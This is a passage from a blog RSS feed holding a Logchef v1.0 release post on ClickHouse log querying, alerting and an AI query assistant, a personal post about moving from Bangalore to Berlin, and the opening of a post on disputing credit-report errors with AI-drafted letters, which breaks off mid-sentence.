Inconsistency: The frontend generated SQL, but the backend had no idea what that SQL meant. Validation happened in two places.
Type-awareness: ClickHouse has Map, JSON, LowCardinality, and various string types. The frontend didn’t know the schema, so it couldn’t generate optimal SQL for each column type. For a Map(String, String) column, you want mapContains() or ['key'] access. For JSON, you want JSONExtractString(). For regular String, it’s a simple comparison.
Debugging hell: When a query failed, was it the parser? The SQL generator? ClickHouse syntax? Everything happened client-side, invisible to server logs.
The new architecture is cleaner:
Frontend                  Backend
   |                         |
   | --- LogchefQL query --> |
   |                         | --> Parse (Go)
   |                         | --> Validate against schema
   |                         | --> Generate type-aware SQL
   | <-- SQL + results ----- | --> Execute on ClickHouse
The backend exposes three endpoints: /logchefql/translate (returns the SQL for “View as SQL”), /logchefql/validate (real-time validation with debouncing), and /logchefql/query (parse, validate, execute, return results).
Moving parsing to the backend also made the field sidebar implementation cleaner – the same schema-aware code that generates WHERE clauses can filter field values based on your current query.
The Field Sidebar#
If you’ve used Kibana, you know the interaction: click a field, see its top values, click a value to add it as a filter. It’s the fastest way to explore logs when you don’t know exactly what you’re looking for.


Building this for ClickHouse required solving a few problems:
High-Cardinality Fields#
You can’t just run SELECT DISTINCT field FROM logs on a table with billions of rows. String fields like trace_id would take forever and return millions of values.
The solution is a hybrid loading strategy based on column types:
LowCardinality and Enum fields: Auto-load values when the sidebar opens. These are designed for fields with limited distinct values.
String fields: Require an explicit click. A badge shows the count is unknown until you ask.
Complex types (Map, Array, Tuple, JSON): Excluded. You can’t have meaningful “distinct values” for a JSON blob.
Progressive Loading#
Each field loads in parallel (max 4 concurrent) with a 15-second timeout. One slow or failed field doesn’t block others – you get a retry button for that specific field.
Query Context#
The sidebar respects your current query. If you’ve filtered to level="error", the field values update to show only values from error logs. This happens through the backend – the field values endpoint accepts the current LogchefQL query and applies it as a WHERE clause filter. Same parser, same SQL generator, consistent results.
Query Cancellation#
Hit Esc and it cancels the query in ClickHouse. Without this, pressing “Cancel” would just hide the spinner – the query kept running on the server, burning resources.
The implementation uses ClickHouse’s query ID feature:
SELECT * FROM logs WHERE ...
SETTINGS query_id = 'logchef-abc123'
When you hit Esc, the frontend calls a cancellation endpoint that runs:
KILL QUERY WHERE query_id = 'logchef-abc123'
The original query returns an error, the UI clears, ClickHouse frees resources. Simple, but requires plumbing the query ID through every execution path.
AI Query Assistant#
“Write a query that finds slowest endpoints by p99” actually works. The AI generates LogchefQL or SQL based on natural language and your table schema.


Under the hood it uses go-openai, so any OpenAI-compatible endpoint works – OpenAI, Ollama, vLLM, whatever you prefer. The system prompt includes your table schema so the model knows what fields exist.
There’s also an MCP server that exposes Logchef to AI assistants like Claude Desktop, Cursor, or any MCP-compatible client. Instead of context-switching between your AI chat and the log viewer, you can ask directly:
“What log sources do I have access to?”
“Find all 500 errors in the last hour from the web service”
“Show me a histogram of log volume over the past day”
“What are the most common error messages in the database logs?”
The MCP server handles discovery (teams, sources, schemas), querying (full ClickHouse SQL), analysis (histograms, saved queries), and even admin operations. It’s a separate binary that runs alongside Logchef – configure it once, and your AI assistant can query your logs through natural conversation.
Compact View for Terminal Lovers#


Not everyone wants a table. The compact view is a terminal-style display that shows logs as formatted text with syntax highlighting. Denser and faster to scan for certain debugging workflows.
Query Variables#
Use {{namespace}} in your query, and an input field appears automatically. Great for saved queries that teams want to reuse with different parameters.
This was a community contribution from @songxuanqing. The implementation detects {{variable}} patterns in the query text and renders input fields dynamically.
Team Management and RBAC#


Logchef supports multi-tenancy with role-based access. Teams can have multiple data sources, and users can be members of multiple teams with different roles:
Admin: Full access, can manage team members and sources
Editor: Can create/edit saved queries and collections
Viewer: Read-only access to query and explore logs
This integrates with OIDC for SSO, so you can use your existing identity provider.
Admin UI for Runtime Config#
Configure stuff without touching config files. The admin settings panel lets you change AI configuration, Alertmanager connection, authentication settings, and query timeouts.


This was a migration from config files to database-backed settings. On first boot, Logchef seeds the database from config.toml. After that, the UI takes over and changes are stored in SQLite. Backward compatible – existing config files still work, the UI just overrides them at runtime. No more SSH-ing into production to bump a timeout.
Prometheus Metrics#
A /metrics endpoint exposes query execution times, error rates, active queries, and other operational data. There’s a pre-built Grafana dashboard for monitoring Logchef itself.
What’s Not in 1.0#
Some things didn’t make the cut:
Live tail: Streaming logs in real-time. Still on the roadmap.
Dashboarding: Multiple visualizations on one page. Logchef is query-focused; for dashboards, you probably want Grafana with ClickHouse as a datasource.
Calling It 1.0#
Calling something “1.0” is weird. There’s no clear line where software becomes “ready.” But I’ve been using Logchef daily at work for months now, and it’s at the point where I trust it. The rough edges are mostly smoothed out. The architecture feels right.
Building tools you use yourself is different. You’re the first to hit the rough edges, so you fix them. Slower than building for imaginary users, but the result is something you actually want to use.
Thanks again to Kailash for the early direction (schema-agnostic was his idea), and to everyone at Zerodha who’s been using this and giving feedback. Thanks to @songxuanqing for query variables and other contributors for docs and bug fixes.
Demo | Docs | GitHub | v1.0.0 Release
Fin!]]></description>
            <content:encoded><![CDATA[<p>About eight months ago I wrote about <a href="https://mrkaran.dev/posts/announcing-logchef/">Logchef</a> – a log viewer I’d been building to scratch my own itch with log exploration at work. Back then it was basically a nicer way to query ClickHouse without writing raw SQL every time. Today I’m shipping v1.0, and it’s evolved into something I didn’t quite expect.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-hero.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-hero.png" alt="Logchef v1.0 Log Explorer" width="700"></a>
</div>
<p>Let me walk through the major features that made it to 1.0 and some of the engineering decisions behind them.</p>
<h2 id="alerting-with-alertmanager-integration">Alerting with Alertmanager Integration<a class="zola-anchor" href="#alerting-with-alertmanager-integration" aria-label="Anchor link for: alerting-with-alertmanager-integration">#</a></h2>
<p>In that first post, I mentioned alerting as a “roadmap” item. It always felt like the obvious next step – you find a pattern in your logs, you want to know when it happens again.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-alerts.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-alerts.png" alt="Alerting in Logchef" width="700"></a>
</div>
<p>But building it took longer than expected. My first attempt was a “rooms” system – a home-grown notification router with its own email, Slack, and webhook channels. I got it working, then stared at the code for notification deduplication, grouping, silencing, and escalation. All problems that <a rel="external" href="https://prometheus.io/docs/alerting/latest/alertmanager/">Alertmanager</a> has already solved and battle-tested in production for years.</p>
<p>So I ripped out rooms and integrated Alertmanager instead. Now Logchef just fires alerts to Alertmanager, and you get all the routing logic – Slack, PagerDuty, email, webhooks, silencing, grouping, inhibition – without me reinventing it poorly.</p>
<p>The workflow is simple: write a LogchefQL or SQL query, set a threshold (e.g., “fire if count &gt; 100”), pick a frequency, configure severity and labels. Logchef runs your query on schedule, evaluates the threshold, and if it triggers, fires an alert. Alert history is stored with execution logs so you can debug why something fired (or didn’t).</p>
<h2 id="logchefql-from-toy-parser-to-production-backend">LogchefQL: From Toy Parser to Production Backend<a class="zola-anchor" href="#logchefql-from-toy-parser-to-production-backend" aria-label="Anchor link for: logchefql-from-toy-parser-to-production-backend">#</a></h2>
<p>The query language I wrote about originally was pretty basic – just filters that compiled to SQL on the frontend. Over the months it grew into something more capable, but more importantly, I rewrote the entire parser in Go and moved it to the backend. This also opens the door for a CLI tool later – same parser, same query language, different interface.</p>
<p>Here’s what LogchefQL looks like now:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>namespace</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">prod</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);"> AND</span><span style="color: light-dark(#032F62, #96D0FF);"> level=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">error</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> message,</span><span style="color: light-dark(#032F62, #96D0FF);"> trace_id</span></span></code></pre>
<p>The pipe operator (<code>|</code>) selects specific columns instead of <code>SELECT *</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">msg.level</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">ERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> timestamp,</span><span style="color: light-dark(#032F62, #96D0FF);"> msg.request.method</span></span></code></pre>
<p>Dot notation handles nested JSON fields. If your logs have a <code>log_attributes</code> Map column with nested data:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">log_attributes.user.name</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">john</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>For keys that contain dots (common in OTEL-style logs), use quoted field syntax:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">log_attributes.</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">http.status_code</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 500</span></span></code></pre><h3 id="why-move-parsing-to-the-backend">Why Move Parsing to the Backend?<a class="zola-anchor" href="#why-move-parsing-to-the-backend" aria-label="Anchor link for: why-move-parsing-to-the-backend">#</a></h3>
<p>The original frontend parser was TypeScript. It worked, but had problems:</p>
<ol>
<li>
<p><strong>Inconsistency</strong>: The frontend generated SQL, but the backend had no idea what that SQL meant. Validation happened in two places.</p>
</li>
<li>
<p><strong>Type-awareness</strong>: ClickHouse has <code>Map</code>, <code>JSON</code>, <code>LowCardinality</code>, and various string types. The frontend didn’t know the schema, so it couldn’t generate optimal SQL for each column type. For a <code>Map(String, String)</code> column, you want <code>mapContains()</code> or <code>['key']</code> access. For <code>JSON</code>, you want <code>JSONExtractString()</code>. For regular <code>String</code>, it’s a simple comparison.</p>
</li>
<li>
<p><strong>Debugging hell</strong>: When a query failed, was it the parser? The SQL generator? ClickHouse syntax? Everything happened client-side, invisible to server logs.</p>
</li>
</ol>
<p>The new architecture is cleaner:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Frontend</span><span style="color: light-dark(#032F62, #96D0FF);">                  Backend</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#D73A49, #F47067);">                         |</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#6F42C1, #F69D50);"> ---</span><span style="color: light-dark(#032F62, #96D0FF);"> LogchefQL</span><span style="color: light-dark(#032F62, #96D0FF);"> query</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#D73A49, #F47067);">                         |</span><span style="color: light-dark(#6F42C1, #F69D50);"> --</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> Parse</span><span> (Go</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#D73A49, #F47067);">                         |</span><span style="color: light-dark(#6F42C1, #F69D50);"> --</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> Validate</span><span style="color: light-dark(#032F62, #96D0FF);"> against</span><span style="color: light-dark(#032F62, #96D0FF);"> schema</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#D73A49, #F47067);">                         |</span><span style="color: light-dark(#6F42C1, #F69D50);"> --</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> Generate</span><span style="color: light-dark(#032F62, #96D0FF);"> type-aware</span><span style="color: light-dark(#032F62, #96D0FF);"> SQL</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">   |</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#6F42C1, #F69D50);">--</span><span style="color: light-dark(#032F62, #96D0FF);"> SQL</span><span style="color: light-dark(#032F62, #96D0FF);"> +</span><span style="color: light-dark(#032F62, #96D0FF);"> results</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">----</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> --</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> Execute</span><span style="color: light-dark(#032F62, #96D0FF);"> on</span><span style="color: light-dark(#032F62, #96D0FF);"> ClickHouse</span></span></code></pre>
<p>The backend exposes three endpoints: <code>/logchefql/translate</code> (returns the SQL for “View as SQL”), <code>/logchefql/validate</code> (real-time validation with debouncing), and <code>/logchefql/query</code> (parse, validate, execute, return results).</p>
<p>Moving parsing to the backend also made the field sidebar implementation cleaner – the same schema-aware code that generates WHERE clauses can filter field values based on your current query.</p>
<h2 id="the-field-sidebar">The Field Sidebar<a class="zola-anchor" href="#the-field-sidebar" aria-label="Anchor link for: the-field-sidebar">#</a></h2>
<p>If you’ve used Kibana, you know the interaction: click a field, see its top values, click a value to add it as a filter. It’s the fastest way to explore logs when you don’t know exactly what you’re looking for.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-sidebar.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-sidebar.png" alt="Kibana-inspired Field Sidebar" width="700"></a>
</div>
<p>Building this for ClickHouse required solving a few problems:</p>
<h3 id="high-cardinality-fields">High-Cardinality Fields<a class="zola-anchor" href="#high-cardinality-fields" aria-label="Anchor link for: high-cardinality-fields">#</a></h3>
<p>You can’t just run <code>SELECT DISTINCT field FROM logs</code> on a table with billions of rows. String fields like <code>trace_id</code> would take forever and return millions of values.</p>
<p>The solution is a hybrid loading strategy based on column types:</p>
<ul>
<li><strong>LowCardinality and Enum fields</strong>: Auto-load values when the sidebar opens. These are designed for fields with limited distinct values.</li>
<li><strong>String fields</strong>: Require an explicit click. A badge shows the count is unknown until you ask.</li>
<li><strong>Complex types (Map, Array, Tuple, JSON)</strong>: Excluded. You can’t have meaningful “distinct values” for a JSON blob.</li>
</ul>
<h3 id="progressive-loading">Progressive Loading<a class="zola-anchor" href="#progressive-loading" aria-label="Anchor link for: progressive-loading">#</a></h3>
<p>Each field loads in parallel (max 4 concurrent) with a 15-second timeout. One slow or failed field doesn’t block others – you get a retry button for that specific field.</p>
<h3 id="query-context">Query Context<a class="zola-anchor" href="#query-context" aria-label="Anchor link for: query-context">#</a></h3>
<p>The sidebar respects your current query. If you’ve filtered to <code>level="error"</code>, the field values update to show only values from error logs. This happens through the backend – the field values endpoint accepts the current LogchefQL query and applies it as a WHERE clause filter. Same parser, same SQL generator, consistent results.</p>
<h2 id="query-cancellation">Query Cancellation<a class="zola-anchor" href="#query-cancellation" aria-label="Anchor link for: query-cancellation">#</a></h2>
<p>Hit Esc and it cancels the query in ClickHouse. Without this, pressing “Cancel” would just hide the spinner – the query kept running on the server, burning resources.</p>
<p>The implementation uses ClickHouse’s query ID feature:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#D73A49, #F47067);"> FROM</span><span> logs </span><span style="color: light-dark(#D73A49, #F47067);">WHERE</span><span> ...</span></span>
<span class="giallo-l"><span>SETTINGS query_id </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">logchef-abc123</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span></code></pre>
<p>When you hit Esc, the frontend calls a cancellation endpoint that runs:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">KILL</span><span> QUERY </span><span style="color: light-dark(#D73A49, #F47067);">WHERE</span><span> query_id </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">logchef-abc123</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span></code></pre>
<p>The original query returns an error, the UI clears, ClickHouse frees resources. Simple, but requires plumbing the query ID through every execution path.</p>
<h2 id="ai-query-assistant">AI Query Assistant<a class="zola-anchor" href="#ai-query-assistant" aria-label="Anchor link for: ai-query-assistant">#</a></h2>
<p>“Write a query that finds slowest endpoints by p99” actually works. The AI generates LogchefQL or SQL based on natural language and your table schema.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-ai.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-ai.png" alt="AI Query Assistant" width="700"></a>
</div>
<p>Under the hood it uses <a rel="external" href="https://github.com/sashabaranov/go-openai">go-openai</a>, so any OpenAI-compatible endpoint works – OpenAI, Ollama, vLLM, whatever you prefer. The system prompt includes your table schema so the model knows what fields exist.</p>
<p>There’s also an <a rel="external" href="https://github.com/mr-karan/logchef-mcp">MCP server</a> that exposes Logchef to AI assistants like Claude Desktop, Cursor, or any MCP-compatible client. Instead of context-switching between your AI chat and the log viewer, you can ask directly:</p>
<ul>
<li>“What log sources do I have access to?”</li>
<li>“Find all 500 errors in the last hour from the web service”</li>
<li>“Show me a histogram of log volume over the past day”</li>
<li>“What are the most common error messages in the database logs?”</li>
</ul>
<p>The MCP server handles discovery (teams, sources, schemas), querying (full ClickHouse SQL), analysis (histograms, saved queries), and even admin operations. It’s a separate binary that runs alongside Logchef – configure it once, and your AI assistant can query your logs through natural conversation.</p>
<h2 id="compact-view-for-terminal-lovers">Compact View for Terminal Lovers<a class="zola-anchor" href="#compact-view-for-terminal-lovers" aria-label="Anchor link for: compact-view-for-terminal-lovers">#</a></h2>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-compact.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-compact.png" alt="Compact Terminal-Style Log View" width="700"></a>
</div>
<p>Not everyone wants a table. The compact view is a terminal-style display that shows logs as formatted text with syntax highlighting. Denser and faster to scan for certain debugging workflows.</p>
<h2 id="query-variables">Query Variables<a class="zola-anchor" href="#query-variables" aria-label="Anchor link for: query-variables">#</a></h2>
<p>Use <code>{{namespace}}</code> in your query, and an input field appears automatically. Great for saved queries that teams want to reuse with different parameters.</p>
<p>This was a community contribution from <a rel="external" href="https://github.com/songxuanqing">@songxuanqing</a>. The implementation detects <code>{{variable}}</code> patterns in the query text and renders input fields dynamically.</p>
<h2 id="team-management-and-rbac">Team Management and RBAC<a class="zola-anchor" href="#team-management-and-rbac" aria-label="Anchor link for: team-management-and-rbac">#</a></h2>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-teams.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-teams.png" alt="Team Management and RBAC" width="700"></a>
</div>
<p>Logchef supports multi-tenancy with role-based access. Teams can have multiple data sources, and users can be members of multiple teams with different roles:</p>
<ul>
<li><strong>Admin</strong>: Full access, can manage team members and sources</li>
<li><strong>Editor</strong>: Can create/edit saved queries and collections</li>
<li><strong>Viewer</strong>: Read-only access to query and explore logs</li>
</ul>
<p>This integrates with OIDC for SSO, so you can use your existing identity provider.</p>
<h2 id="admin-ui-for-runtime-config">Admin UI for Runtime Config<a class="zola-anchor" href="#admin-ui-for-runtime-config" aria-label="Anchor link for: admin-ui-for-runtime-config">#</a></h2>
<p>Configure stuff without touching config files. The admin settings panel lets you change AI configuration, Alertmanager connection, authentication settings, and query timeouts.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/logchef-v1-settings.gif" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/logchef-v1-settings.gif" alt="Admin Settings UI" width="700"></a>
</div>
<p>This was a migration from config files to database-backed settings. On first boot, Logchef seeds the database from <code>config.toml</code>. After that, the UI takes over and changes are stored in SQLite. Backward compatible – existing config files still work, the UI just overrides them at runtime. No more SSH-ing into production to bump a timeout.</p>
<h2 id="prometheus-metrics">Prometheus Metrics<a class="zola-anchor" href="#prometheus-metrics" aria-label="Anchor link for: prometheus-metrics">#</a></h2>
<p>A <code>/metrics</code> endpoint exposes query execution times, error rates, active queries, and other operational data. There’s a <a rel="external" href="https://github.com/mr-karan/logchef/tree/main/dashboards">pre-built Grafana dashboard</a> for monitoring Logchef itself.</p>
<h2 id="what-s-not-in-1-0">What’s Not in 1.0<a class="zola-anchor" href="#what-s-not-in-1-0" aria-label="Anchor link for: what-s-not-in-1-0">#</a></h2>
<p>Some things didn’t make the cut:</p>
<ul>
<li><strong>Live tail</strong>: Streaming logs in real-time. Still on the roadmap.</li>
<li><strong>Dashboarding</strong>: Multiple visualizations on one page. Logchef is query-focused; for dashboards, you probably want Grafana with ClickHouse as a datasource.</li>
</ul>
<h2 id="calling-it-1-0">Calling It 1.0<a class="zola-anchor" href="#calling-it-1-0" aria-label="Anchor link for: calling-it-1-0">#</a></h2>
<p>Calling something “1.0” is weird. There’s no clear line where software becomes “ready.” But I’ve been using Logchef daily at work for months now, and it’s at the point where I trust it. The rough edges are mostly smoothed out. The architecture feels right.</p>
<p>Building tools you use yourself is different. You’re the first to hit the rough edges, so you fix them. Slower than building for imaginary users, but the result is something you actually want to use.</p>
<p>Thanks again to <a rel="external" href="https://nadh.in/">Kailash</a> for the early direction (schema-agnostic was his idea), and to everyone at Zerodha who’s been using this and giving feedback. Thanks to <a rel="external" href="https://github.com/songxuanqing">@songxuanqing</a> for query variables and other contributors for docs and bug fixes.</p>
<p><a rel="external" href="https://demo.logchef.app">Demo</a> | <a rel="external" href="https://logchef.app">Docs</a> | <a rel="external" href="https://github.com/mr-karan/logchef">GitHub</a> | <a rel="external" href="https://github.com/mr-karan/logchef/releases/tag/v1.0.0">v1.0.0 Release</a></p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[I'm moving to Berlin]]></title>
            <link>https://captnemo.in/blog/2025/12/12/berlin/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2025/12/12/berlin/</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Haven’t posted here in a while, but this is worth an update: I’m moving to Berlin.
I’ve loved living in Bangalore for the last decade (I moved here just after the
first HillHacks in May 2015), but it is time for an adventure.
For the last couple of years, I’ve spent my time living in
Indiranagar, building communities, helping underline.center,
working on blr.today, organizing events, and really doing things that I care
about. It has been a wonderful time, but we wanted to experience life
elsewhere, and Berlin seems to fit the bill.
Bangalore’s infrastructure has been in the news, and it is a part of why I’m
moving. An unwalkable footpath on CMH road meant we spent half a year dealing
with a broken elbow this year. At Takshashila, I was taught that I’m not
allowed to bring up civic problems without also coming up with solutions. But
Bangalore is an unsolvable paradox: A city with 50+ unicorns and no walkable
footpaths.
I’ve fought my personal share of battles against the state, but this is one
where I don’t have any hope of making a difference. I appreciate the work
that the Bangalore Civil Society is doing in attempting to hold the
missing-government accountable - it just isn’t the kind of work that I want
to do. Fighting for basic necessities (clean air, walkable footpaths, open
public spaces, well-funded public transit) shouldn't be anyone's job in a
city as large as Bangalore. I’m picking Exit (for now).
Why Berlin? Mainly because I have lots of friends there. Our immigration journey
is still quite early, so maybe I can write about it when things have stabilized
a bit. For now, if you have any Berlin recommendations or connections, please
send them my way.]]></description>
            <content:encoded><![CDATA[<p>Haven’t posted here in a while, but this is worth an update: <strong>I’m moving to Berlin</strong>.
I’ve loved living in Bangalore for the last decade (I moved here just after the
first HillHacks in May 2015), but it is time for an adventure.</p>

<p>For the last couple of years, I’ve spent my time living in
Indiranagar, building communities, helping underline.center,
working on blr.today, organizing events, and really doing things that I care
about. It has been a wonderful time, but we wanted to experience life
elsewhere, and Berlin seems to fit the bill.</p>

<p>Bangalore’s infrastructure has been in the news, and it is a part of why I’m
moving. An unwalkable footpath on CMH road meant we spent half a year dealing
with a broken elbow this year. At Takshashila, I was taught that I’m not
allowed to bring up civic problems without also coming up with solutions. But
Bangalore is an unsolvable paradox: A city with 50+ unicorns and no walkable
footpaths.</p>

<p>I’ve fought my personal share of battles against the state, but this is one
where I don’t have any hope of making a difference. I appreciate the work
that the Bangalore Civil Society is doing in attempting to hold the
missing-government accountable - it just isn’t the kind of work that I want
to do. <mark>Fighting for basic necessities (clean air, walkable footpaths, open
public spaces, well-funded public transit) shouldn't be anyone's job in a
city as large as Bangalore</mark>. I’m <a href="https://en.wikipedia.org/wiki/Exit,_Voice,_and_Loyalty">picking Exit</a> (for now).</p>

<p>Why Berlin? Mainly because I have lots of friends there. Our immigration journey
is still quite early, so maybe I can write about it when things have stabilized
a bit. For now, if you have any Berlin recommendations or connections, please
send them <a href="https://captnemo.in/contact/">my way</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Fixing a CIBIL Score Disaster with AI]]></title>
            <link>https://mrkaran.dev/posts/fixing-cibil-with-ai/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/fixing-cibil-with-ai/</guid>
            <pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[About a month ago, I downloaded my CIBIL report expecting a routine check. Instead, I found loans from lenders I had never interacted with, written-off accounts, overdues from fintechs I had never installed, and even two-wheeler loan enquiries. I don’t even ride a bike.
My credit score had collapsed to under 680. I stared at the report trying to understand how this could happen.
The Root Cause: A Wrong Date of Birth#
Buried in my profile section was the problem: my date of birth was wrong. Not a typo, but a completely different year.
Because of this mismatch, CIBIL’s system had paired my PAN and mobile number with someone else’s DOB, effectively merging two individuals’ credit histories into one report. The accounts mapped to me included:
Aditya Birla Capital: Short-term personal loan marked as doubtful/substandard
Clix Capital: A loan marked written-off (₹50,000+)
Poonawalla Fincorp: Personal loans with delayed payments
Ring / Kissht: Unsecured digital loans
InCred: Personal loan I never took
Dhani Loans: BNPL-style loan with unrecognized activity
Axio (Capital Float): Old consumer loan
KrazyBee: Various short-term loans
Transactree: Small-ticket personal loan
Multiple enquiries from HDFC, ICICI, IDFC First, Shriram Finance, and others
Some were written-off, others 90+ days overdue, others still active. On paper, I looked like a serial defaulter.
Using AI to Understand the Problem#
I opened ChatGPT and uploaded the entire PDF with a simple prompt: identify everything wrong in this report.
Within minutes, it had mapped every suspicious account, flagged which ones didn’t match my history, highlighted the incorrect DOB, and explained why CIBIL systems mis-map accounts when demographic data is inconsistent.
More usefully, it drafted formal dispute letters citing relevant RBI regulations and prepared lender-specific escalations with the right legal language. It felt like having a credit compliance team on demand.
The Dispute Process#
With the AI-drafted communications as a starting point, I sent disputes to CIBIL and direct emails to each lender. The key was being specific: every email included the CIBIL report control number, the exact account identifiers from the report, and references to specific RBI regulations.
For example, when writing to Poonawalla Fincorp about a co-lending arrangement with Kissht, the email included:
CIBIL Report details:
Control Number: [REDACTED]
Downloaded on: [DATE]
Where your name appears: “POONAFIN – Personal Loan – Account No. [REDACTED]”
Delinquency trail in history: DPD values 35 / 62 / 93 / 124 during [MONTHS]
I reiterate that I have never applied for, signed, or availed any facility from Poonawalla/Kissht. This appears to be erroneous mapping / data contamination.
The emails also cited the relevant regulations explicitly:
Under Section 45-A(2) of the Credit Information Companies (Regulation) Act 2005 and Para 7.2.2 & 8.1.3 of the RBI Master Directions on Credit Information Companies (2021), please verify this record against your origination/KYC systems. If the record is not verifiable or was created with misused/incorrect KYC, immediately instruct TransUnion CIBIL to delete/correct the entry.
This kind of precise, regulation-backed language gets results. Vague complaints are likely to get ignored or deprioritized. Specific complaints with control numbers, account IDs, and regulatory citations get escalated to teams that can actually fix things.
For co-lending cases (common with fintechs like Kissht, Ring, etc.), I learned to CC both parties and explicitly request a “consolidated correction” so the entry gets fully removed rather than bouncing between two institutions.
When initial responses were slow, I sent reminders that referenced the original complaint number and the 30-day statutory deadline:
